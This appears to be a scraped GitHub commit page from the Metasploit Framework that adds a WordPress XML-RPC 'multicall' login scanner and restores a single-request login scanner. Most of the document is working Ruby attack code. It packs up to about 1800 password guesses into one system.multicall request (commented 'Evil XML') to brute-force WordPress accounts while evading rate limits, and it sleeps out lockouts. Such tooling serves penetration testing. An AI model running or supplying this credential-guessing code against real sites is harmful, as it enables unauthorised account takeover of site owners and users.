Skip to content

Commit 0f9cf81

Browse files
committed
Bring wordpress_xmlrpc_login back, make wordpress_multicall as new
1 parent 0f4304a commit 0f9cf81

File tree

6 files changed

+505
-311
lines changed

6 files changed

+505
-311
lines changed
Lines changed: 149 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
require 'metasploit/framework/login_scanner/http'
2+
require 'nokogiri'
3+
4+
module Metasploit
5+
module Framework
6+
module LoginScanner
7+
8+
class WordpressMulticall < HTTP
9+
10+
# @!attribute passwords
11+
# @return [Array]
12+
attr_accessor :passwords
13+
14+
# @!attribute chunk_size
15+
# @return [Fixnum]
16+
attr_accessor :chunk_size
17+
18+
# @!attribute block_wait
19+
# @return [Fixnum]
20+
attr_accessor :block_wait
21+
22+
# @!attribute base_uri
23+
# @return [String]
24+
attr_accessor :base_uri
25+
26+
# @!attribute wordpress_url_xmlrpc
27+
# @return [String]
28+
attr_accessor :wordpress_url_xmlrpc
29+
30+
def set_default
31+
self.wordpress_url_xmlrpc = 'xmlrpc.php'
32+
self.block_wait = 6
33+
self.base_uri = '/'
34+
self.chunk_size = 1800
35+
end
36+
37+
# Returns the XML data that is used for the login.
38+
#
39+
# @param user [String] username
40+
# @return [Array]
41+
def generate_xml(user)
42+
xml_payloads = []
43+
44+
# Evil XML | Limit number of log-ins to CHUNKSIZE/request due
45+
# Wordpress limitation which is 1700 maximum.
46+
passwords.each_slice(chunk_size) do |pass_group|
47+
document = Nokogiri::XML::Builder.new do |xml|
48+
xml.methodCall {
49+
xml.methodName("system.multicall")
50+
xml.params {
51+
xml.param {
52+
xml.value {
53+
xml.array {
54+
xml.data {
55+
pass_group.each do |pass|
56+
xml.value {
57+
xml.struct {
58+
xml.member {
59+
xml.name("methodName")
60+
xml.value { xml.string("wp.getUsersBlogs") }}
61+
xml.member {
62+
xml.name("params")
63+
xml.value {
64+
xml.array {
65+
xml.data {
66+
xml.value {
67+
xml.array {
68+
xml.data {
69+
xml.value { xml.string(user) }
70+
xml.value { xml.string(pass) }
71+
}}}}}}}}}
72+
end
73+
}}}}}}
74+
end
75+
xml_payloads << document.to_xml
76+
end
77+
78+
xml_payloads
79+
end
80+
81+
# Sends an HTTP request to Wordpress.
82+
#
83+
# @param xml [String] XML data.
84+
# @return [void]
85+
def send_wp_request(xml)
86+
opts =
87+
{
88+
'method' => 'POST',
89+
'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"),
90+
'data' => xml,
91+
'ctype' =>'text/xml'
92+
}
93+
94+
client = Rex::Proto::Http::Client.new(rhost)
95+
client.connect
96+
req = client.request_cgi(opts)
97+
res = client.send_recv(req)
98+
99+
if res && res.code != 200
100+
sleep(block_wait * 60)
101+
end
102+
103+
@res = res
104+
end
105+
106+
107+
# Attempts to login.
108+
#
109+
# @param credential [Metasploit::Framework::Credential]
110+
# @return [Metasploit::Framework::LoginScanner::Result]
111+
def attempt_login(credential)
112+
generate_xml(credential.public).each do |xml|
113+
send_wp_request(xml)
114+
req_xml = Nokogiri::Slop(xml)
115+
res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join)
116+
res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
117+
result = value.at("struct/member/value/int")
118+
if result.nil?
119+
pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
120+
credential.private = pass
121+
result_opts = {
122+
credential: credential,
123+
host: host,
124+
port: port,
125+
protocol: 'tcp'
126+
}
127+
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL)
128+
return Result.new(result_opts)
129+
end
130+
end
131+
end
132+
133+
result_opts = {
134+
credential: credential,
135+
host: host,
136+
port: port,
137+
protocol: 'tcp'
138+
}
139+
140+
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT)
141+
return Result.new(result_opts)
142+
end
143+
144+
end
145+
end
146+
end
147+
end
148+
149+
Lines changed: 55 additions & 125 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,4 @@
11
require 'metasploit/framework/login_scanner/http'
2-
require 'nokogiri'
32

43
module Metasploit
54
module Framework
@@ -8,143 +7,74 @@ module LoginScanner
87
# Wordpress XML RPC login scanner
98
class WordpressRPC < HTTP
109

11-
# @!attribute passwords
12-
# @return [Array]
13-
attr_accessor :passwords
14-
15-
# @!attribute chunk_size
16-
# @return [Fixnum]
17-
attr_accessor :chunk_size
18-
19-
# @!attribute block_wait
20-
# @return [Fixnum]
21-
attr_accessor :block_wait
22-
23-
# @!attribute base_uri
24-
# @return [String]
25-
attr_accessor :base_uri
26-
27-
# @!attribute wordpress_url_xmlrpc
28-
# @return [String]
29-
attr_accessor :wordpress_url_xmlrpc
30-
31-
def set_default
32-
self.wordpress_url_xmlrpc = 'xmlrpc.php'
33-
self.block_wait = 6
34-
self.base_uri = '/'
35-
self.chunk_size = 1800
36-
end
10+
# (see Base#attempt_login)
11+
def attempt_login(credential)
12+
http_client = Rex::Proto::Http::Client.new(
13+
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
14+
)
15+
configure_http_client(http_client)
3716

38-
# Returns the XML data that is used for the login.
39-
#
40-
# @param user [String] username
41-
# @return [Array]
42-
def generate_xml(user)
43-
xml_payloads = []
17+
result_opts = {
18+
credential: credential,
19+
host: host,
20+
port: port,
21+
protocol: 'tcp'
22+
}
23+
if ssl
24+
result_opts[:service_name] = 'https'
25+
else
26+
result_opts[:service_name] = 'http'
27+
end
4428

45-
# Evil XML | Limit number of log-ins to CHUNKSIZE/request due
46-
# Wordpress limitation which is 1700 maximum.
47-
passwords.each_slice(chunk_size) do |pass_group|
48-
document = Nokogiri::XML::Builder.new do |xml|
49-
xml.methodCall {
50-
xml.methodName("system.multicall")
51-
xml.params {
52-
xml.param {
53-
xml.value {
54-
xml.array {
55-
xml.data {
56-
pass_group.each do |pass|
57-
xml.value {
58-
xml.struct {
59-
xml.member {
60-
xml.name("methodName")
61-
xml.value { xml.string("wp.getUsersBlogs") }}
62-
xml.member {
63-
xml.name("params")
64-
xml.value {
65-
xml.array {
66-
xml.data {
67-
xml.value {
68-
xml.array {
69-
xml.data {
70-
xml.value { xml.string(user) }
71-
xml.value { xml.string(pass) }
72-
}}}}}}}}}
73-
end
74-
}}}}}}
29+
begin
30+
http_client.connect
31+
32+
request = http_client.request_cgi(
33+
'uri' => uri,
34+
'method' => method,
35+
'data' => generate_xml_request(credential.public,credential.private),
36+
)
37+
response = http_client.send_recv(request)
38+
39+
if response && response.code == 200 && response.body =~ /<value><int>401<\/int><\/value>/ || response.body =~ /<name>user_id<\/name>/
40+
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response)
41+
elsif response.body =~ /<value><int>-32601<\/int><\/value>/
42+
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
43+
else
44+
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response)
7545
end
76-
xml_payloads << document.to_xml
46+
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
47+
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
7748
end
7849

79-
xml_payloads
80-
end
81-
82-
# Sends an HTTP request to Wordpress.
83-
#
84-
# @param xml [String] XML data.
85-
# @return [void]
86-
def send_wp_request(xml)
87-
opts =
88-
{
89-
'method' => 'POST',
90-
'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"),
91-
'data' => xml,
92-
'ctype' =>'text/xml'
93-
}
50+
Result.new(result_opts)
9451

95-
client = Rex::Proto::Http::Client.new(rhost)
96-
client.connect
97-
req = client.request_cgi(opts)
98-
res = client.send_recv(req)
99-
100-
if res && res.code != 200
101-
sleep(block_wait * 60)
102-
end
103-
104-
@res = res
10552
end
10653

54+
# This method generates the XML data for the RPC login request
55+
# @param user [String] the username to authenticate with
56+
# @param pass [String] the password to authenticate with
57+
# @return [String] the generated XML body for the request
58+
def generate_xml_request(user, pass)
59+
xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>"
60+
xml << '<methodCall>'
61+
xml << '<methodName>wp.getUsers</methodName>'
62+
xml << '<params><param><value>1</value></param>'
63+
xml << "<param><value>#{user}</value></param>"
64+
xml << "<param><value>#{pass}</value></param>"
65+
xml << '</params>'
66+
xml << '</methodCall>'
67+
xml
68+
end
10769

108-
# Attempts to login.
109-
#
110-
# @param credential [Metasploit::Framework::Credential]
111-
# @return [Metasploit::Framework::LoginScanner::Result]
112-
def attempt_login(credential)
113-
generate_xml(credential.public).each do |xml|
114-
send_wp_request(xml)
115-
req_xml = Nokogiri::Slop(xml)
116-
res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join)
117-
res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
118-
result = value.at("struct/member/value/int")
119-
if result.nil?
120-
pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
121-
credential.private = pass
122-
result_opts = {
123-
credential: credential,
124-
host: host,
125-
port: port,
126-
protocol: 'tcp'
127-
}
128-
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL)
129-
return Result.new(result_opts)
130-
end
131-
end
132-
end
133-
134-
result_opts = {
135-
credential: credential,
136-
host: host,
137-
port: port,
138-
protocol: 'tcp'
139-
}
140-
141-
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT)
142-
return Result.new(result_opts)
70+
# (see Base#set_sane_defaults)
71+
def set_sane_defaults
72+
@method = "POST".freeze
73+
super
14374
end
14475

14576
end
14677
end
14778
end
14879
end
14980

150-

0 commit comments

Comments
 (0)